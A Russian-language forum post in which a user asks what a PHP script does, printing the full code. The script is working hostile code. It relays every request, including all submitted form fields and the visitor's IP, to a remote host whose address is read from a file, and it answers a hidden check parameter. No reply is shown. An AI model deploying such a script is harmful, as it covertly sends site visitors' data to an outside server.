- Автор темы
- #1
Здравствуйте!
Подскажите что делает данный скрипт?
Подскажите что делает данный скрипт?
Код:
<?
$ip=file_get_contents('ip.bin');
if(isset($_GET['ch']))
{
echo 'ya_krevedko';
exit;
}
$f=fsockopen($ip,80);
if($_SERVER['REQUEST_METHOD']=='GET')
{
$req="GET ".$_SERVER['REQUEST_URI']."?".$_SERVER['QUERY_STRING']."&ip=".urlencode($_SERVER['REMOTE_ADDR'])." HTTP/1.0\r\n".
"Host: ".$_SERVER['HTTP_HOST']."\r\n\r\n";
}
elseif($_SERVER['REQUEST_METHOD']=='POST')
{ $post='';
foreach($_POST as $name=>$val)
$post.=$name."=".urlencode($val).'&';
$req="POST ".$_SERVER['REQUEST_URI']."?".$_SERVER['QUERY_STRING']."&ip=".urlencode($_SERVER['REMOTE_ADDR'])." HTTP/1.0\r\n".
"Host: ".$_SERVER['HTTP_HOST']."\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post)."\r\n\r\n".$post;
}
fputs($f,$req);
$rep='';
while(!feof($f))
$rep.=fread($f,2);
//echo $rep;
$rep=strstr($rep,"\r\n\r\n");
$rep=substr($rep,4);
echo $rep;
?>